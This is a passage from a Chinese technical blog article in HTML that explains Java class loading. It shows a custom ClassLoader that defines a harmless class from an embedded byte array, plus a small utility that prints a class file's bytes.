class="code-snippet__number">3</span>,<span class="code-snippet__number">40</span>,<span class="code-snippet__number">41</span>,<span class="code-snippet__number">86</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">4</span>,<span class="code-snippet__number">67</span>,<span class="code-snippet__number">111</span>,<span class="code-snippet__number">100</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">15</span>,<span class="code-snippet__number">76</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">78</span>,<span class="code-snippet__number">117</span>,<span class="code-snippet__number">109</span>,<span class="code-snippet__number">98</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">84</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">98</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">18</span>,<span class="code-snippet__number">76</span>,<span class="code-snippet__number">111</span>,<span class="code-snippet__number">99</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">86</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">98</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">84</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">98</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">4</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">104</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">115</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">17</span>,<span class="code-snippet__number">76</span>,<span class="code-snippet__number">111</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">103</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">120</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">109</span>,<span class="code-snippet__number">112</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">65</span>,<span class="code-snippet__number">112</span>,<span class="code-snippet__number">112</span>,<span class="code-snippet__number">59</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">3</span>,<span class="code-snippet__number">115</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">121</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">8</span>,<span class="code-snippet__number">60</span>,<span class="code-snippet__number">99</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">62</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">10</span>,<span class="code-snippet__number">83</span>,<span class="code-snippet__number">111</span>,<span class="code-snippet__number">117</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">99</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">70</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">8</span>,<span class="code-snippet__number">65</span>,<span class="code-snippet__number">112</span>,<span class="code-snippet__number">112</span>,<span class="code-snippet__number">46</span>,<span class="code-snippet__number">106</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">118</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">12</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">13</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">14</span>,<span class="code-snippet__number">7</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">36</span>,<span class="code-snippet__number">12</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">37</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">38</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">36</span>,<span class="code-snippet__number">-17</span>,<span class="code-snippet__number">-65</span>,<span class="code-snippet__number">-67</span>,<span class="code-snippet__number">-17</span>,<span class="code-snippet__number">-65</span>,<span class="code-snippet__number">-67</span>,<span class="code-snippet__number">-17</span>,<span class="code-snippet__number">-65</span>,<span class="code-snippet__number">-67</span>,<span class="code-snippet__number">-20</span>,<span class="code-snippet__number">-73</span>,<span class="code-snippet__number">-67</span>,<span class="code-snippet__number">-17</span>,<span class="code-snippet__number">-65</span>,<span class="code-snippet__number">-67</span>,<span class="code-snippet__number">-17</span>,<span class="code-snippet__number">-65</span>,<span class="code-snippet__number">-67</span>,<span class="code-snippet__number">-17</span>,<span class="code-snippet__number">-65</span>,<span class="code-snippet__number">-67</span>,<span class="code-snippet__number">-17</span>,<span class="code-snippet__number">-65</span>,<span class="code-snippet__number">-67</span>,<span class="code-snippet__number">-17</span>,<span class="code-snippet__number">-65</span>,<span class="code-snippet__number">-67</span>,<span class="code-snippet__number">-17</span>,<span class="code-snippet__number">-65</span>,<span class="code-snippet__number">-67</span>,<span class="code-snippet__number">-17</span>,<span class="code-snippet__number">-65</span>,<span class="code-snippet__number">-67</span>,<span class="code-snippet__number">-17</span>,<span class="code-snippet__number">-65</span>,<span class="code-snippet__number">-67</span>,<span class="code-snippet__number">7</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">39</span>,<span class="code-snippet__number">12</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">40</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">41</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">72</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">10</span>,<span class="code-snippet__number">109</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">100</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">48</span>,<span class="code-snippet__number">99</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">49</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">121</span>,<span class="code-snippet__number">12</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">11</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">12</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">22</span>,<span class="code-snippet__number">115</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">99</span>,<span class="code-snippet__number">32</span>,<span class="code-snippet__number">109</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">104</span>,<span class="code-snippet__number">111</span>,<span class="code-snippet__number">100</span>,<span class="code-snippet__number">32</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">118</span>,<span class="code-snippet__number">111</span>,<span class="code-snippet__number">107</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">100</span>,<span class="code-snippet__number">33</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">15</span>,<span class="code-snippet__number">111</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">103</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">120</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">109</span>,<span class="code-snippet__number">112</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">65</span>,<span class="code-snippet__number">112</span>,<span class="code-snippet__number">112</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">16</span>,<span class="code-snippet__number">106</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">118</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">103</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">79</span>,<span class="code-snippet__number">98</span>,<span class="code-snippet__number">106</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">99</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">16</span>,<span class="code-snippet__number">106</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">118</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">103</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">83</span>,<span class="code-snippet__number">121</span>,<span class="code-snippet__number">115</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">109</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">3</span>,<span class="code-snippet__number">111</span>,<span class="code-snippet__number">117</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">21</span>,<span class="code-snippet__number">76</span>,<span class="code-snippet__number">106</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">118</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">111</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">80</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">83</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">109</span>,<span class="code-snippet__number">59</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">19</span>,<span class="code-snippet__number">106</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">118</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">111</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">80</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">83</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">109</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">7</span>,<span class="code-snippet__number">112</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">21</span>,<span class="code-snippet__number">40</span>,<span class="code-snippet__number">76</span>,<span class="code-snippet__number">106</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">118</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">103</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">83</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">103</span>,<span class="code-snippet__number">59</span>,<span class="code-snippet__number">41</span>,<span class="code-snippet__number">86</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">33</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">9</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">10</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">8</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">11</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">12</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">3</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">13</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">14</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">15</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">63</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">13</span>,<span class="code-snippet__number">42</span>,<span class="code-snippet__number">-73</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">-78</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">18</span>,<span class="code-snippet__number">3</span>,<span class="code-snippet__number">-74</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">4</span>,<span class="code-snippet__number">-79</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">16</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">14</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">3</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">11</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">4</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">12</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">12</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">13</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">17</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">12</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">13</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">18</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">19</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">20</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">14</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">15</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">55</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">9</span>,<span class="code-snippet__number">-78</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">18</span>,<span class="code-snippet__number">5</span>,<span class="code-snippet__number">-74</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">4</span>,<span class="code-snippet__number">-79</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">16</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">10</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">27</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">8</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">28</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">17</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">12</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">9</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">18</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">19</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">8</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">21</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">14</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">15</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">59</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">23</span>,<span class="code-snippet__number">18</span>,<span class="code-snippet__number">6</span>,<span class="code-snippet__number">-77</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">7</span>,<span class="code-snippet__number">-78</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">-78</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">7</span>,<span class="code-snippet__number">-74</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">4</span>,<span class="code-snippet__number">-78</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">18</span>,<span class="code-snippet__number">8</span>,<span class="code-snippet__number">-74</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">4</span>,<span class="code-snippet__number">-79</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">16</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">18</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">4</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">15</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">5</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">18</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">14</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">19</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">22</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">20</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">22</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">23</span></span></p><p><span class="code-snippet_outer">    };</span></p><p></p><p><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></p><p><span class="code-snippet_outer">    <span class="code-snippet__keyword">protected</span> Class&lt;?&gt; findClass(<span class="code-snippet__built_in">String</span> name) throws ClassNotFoundException {</span></p><p><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (name.equals(className)){</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> defineClass(name, classByteCodes, <span class="code-snippet__number">0</span>, classByteCodes.length);</span></p><p><span class="code-snippet_outer">        }</span></p><p><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">super</span>.findClass(name);</span></p><p><span class="code-snippet_outer">    }</span></p><p></p><p><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">void</span> main(<span class="code-snippet__built_in">String</span>[] args) {</span></p><p><span class="code-snippet_outer">        LoadSelfClass loadSelfClass = <span class="code-snippet__keyword">new</span> LoadSelfClass();</span></p><p><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></p><p><span class="code-snippet_outer">            Class cls = loadSelfClass.loadClass(className);     <span class="code-snippet__comment">// 通过自定义的 ClassLoader 加载自定义类</span></span></p><p><span class="code-snippet_outer">            cls.newInstance();</span></p><p><span class="code-snippet_outer"><span class="code-snippet__comment">//            Constructor constructor = cls.getDeclaredConstructor();</span></span></p><p><span class="code-snippet_outer"><span class="code-snippet__comment">//            constructor.setAccessible(true);</span></span></p><p><span class="code-snippet_outer"><span class="code-snippet__comment">//            Object clsInstance = constructor.newInstance();</span></span></p><p><span class="code-snippet_outer"><span class="code-snippet__comment">//            cls.getMethod(&#34;say&#34;).invoke(clsInstance);</span></span></p><p><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></p><p><span class="code-snippet_outer">            e.printStackTrace();</span></p><p><span class="code-snippet_outer">        }</span></p><p><span class="code-snippet_outer">    }</span></p><p><span class="code-snippet_outer">}</span></p></pre></p><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="text-indent: 2em;"><span style="font-size: 14px;text-indent: 28px;">应该一看就懂，没什么好讲的【主要就是重写了 findClass 方法，在方法中通过 defineClass 注册到 JVM 。哦，还有不能将 org\example\App.class 文件放在类路径下，不然会由 AppClassLoader 来进行加载（ loadClass 时会先由父加载器加载），不会由我们自定义的加载器来加载 】。</span></span></p><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="text-indent: 2em;">运行结果：</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4663299663299663" data-s="300,640" style="" data-type="png" data-w="594" src="https://wechat2rss.xlab.app/img-proxy/?k=9fd1fa77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWgqq2ZUsWv1gHjjX6gVgZ9kXkwS0EOdChnfqyMibqaWmLTG1yic1k4y5JhsJBIW7ibT4hZRd82D8cgkw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="text-indent: 2em;">生成类字节码的代码：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="cs"><p><span class="code-snippet_outer">package org.example;</span></p><p></p><p><span class="code-snippet_outer">import java.io.*;</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">JavaByteCode</span> {</span></p><p></p><p><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span>(<span class="code-snippet__params">String[] args</span>)</span> {</span></p><p><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span>[] bs = getBytesByFile(<span class="code-snippet__string">&#34;D:\\JavaWorkspace\\JavaBasic\\target\\classes\\org\\example\\App.class&#34;</span>);  <span class="code-snippet__comment">// class 文件位置</span></span></p><p><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span>(<span class="code-snippet__keyword">int</span> i = <span class="code-snippet__number">0</span>; i &lt; bs.length; i++){</span></p><p><span class="code-snippet_outer">            System.<span class="code-snippet__keyword">out</span>.print(bs[i] + <span class="code-snippet__string">&#34;,&#34;</span>);</span></p><p><span class="code-snippet_outer">        }</span></p><p><span class="code-snippet_outer">    }</span></p><p><span class="code-snippet_outer">    </span></p><p><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">byte</span>[] <span class="code-snippet__title">getBytesByFile</span>(<span class="code-snippet__params">String pathStr</span>)</span> {</span></p><p><span class="code-snippet_outer">        File file = <span class="code-snippet__keyword">new</span> File(pathStr);</span></p><p><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></p><p><span class="code-snippet_outer">            FileInputStream fis = <span class="code-snippet__keyword">new</span> FileInputStream(file);</span></p><p><span class="code-snippet_outer">            ByteArrayOutputStream bos = <span class="code-snippet__keyword">new</span> ByteArrayOutputStream(<span class="code-snippet__number">1000</span>);</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__keyword">byte</span>[] b = <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[<span class="code-snippet__number">1000</span>];</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__keyword">int</span> n;</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__keyword">while</span> ((n = fis.read(b)) != <span class="code-snippet__number">-1</span>) {</span></p><p><span class="code-snippet_outer">                bos.write(b, <span class="code-snippet__number">0</span>, n);</span></p><p><span class="code-snippet_outer">            }</span></p><p><span class="code-snippet_outer">            fis.close();</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__keyword">byte</span>[] data = bos.toByteArray();</span></p><p><span class="code-snippet_outer">            bos.close();</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> data;</span></p><p><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (FileNotFoundException e) {</span></p><p><span class="code-snippet_outer">            e.printStackTrace();</span></p><p><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException e) {</span></p><p><span class="code-snippet_outer">            e.printStackTrace();</span></p><p><span class="code-snippet_outer">        }</span></p><p><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></p><p><span class="code-snippet_outer">    }</span></p><p><span class="code-snippet_outer">}</span></p></pre></p></div><div style="text-align: center;margin: 10px 0% -40px;transform: translate3d(6px, 0px, 0px);-webkit-transform: translate3d(6px, 0px, 0px);-moz-transform: translate3d(6px, 0px, 0px);-o-transform: translate3d(6px, 0px, 0px);box-sizing: border-box;" powered-by="xiumi.us"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 55px;height: auto;box-sizing: border-box;"><img data-ratio="0.6694444" data-w="1080" data-type="png" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=cbe26bc8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6AVpdn5eJwaYr11FgKicIot81oatCYNhHBnNSZB90SIsJJcTcqPiaQJjzLULibr5WTj3K8WZCymDv79fohjrDf54Q%2F640%3Fwx_fmt%3Dpng"/></p></div><div style="margin: 20px 0%;text-align: center;justify-content: center;box-sizing: border-box;" powered-by="xiumi.us"><div style="display: inline-block;width: 100%;vertical-align: top;border-width: 1px;border-style: solid;border-color: rgb(127, 127, 127);padding: 0px 4px;height: auto;line-height: 0;box-sizing: border-box;"><div style="box-sizing: border-box;" powered-by="xiumi.us"><div style="justify-content: center;margin: -7px 0%;display: flex;flex-flow: row nowrap;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;height: auto;background-color: rgb(243, 243, 241);padding: 0px;border-width: 0px;border-radius: 5px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;flex: 0 0 auto;align-self: flex-start;line-height: 0;box-sizing: border-box;"><div style="margin: 15px 0%;box-sizing: border-box;" powered-by="xiumi.us"><div style="text-align: justify;font-size: 14px;color: rgb(127, 127, 127);padding: 0px 12px;letter-spacing: 1px;line-height: 1.8;font-family: Optima-Regular, PingFangTC-light;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">02、URLClassLoader</p></div></div></div></div></div></div></div><div style="font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><p style="text-indent: 2em;white-space: 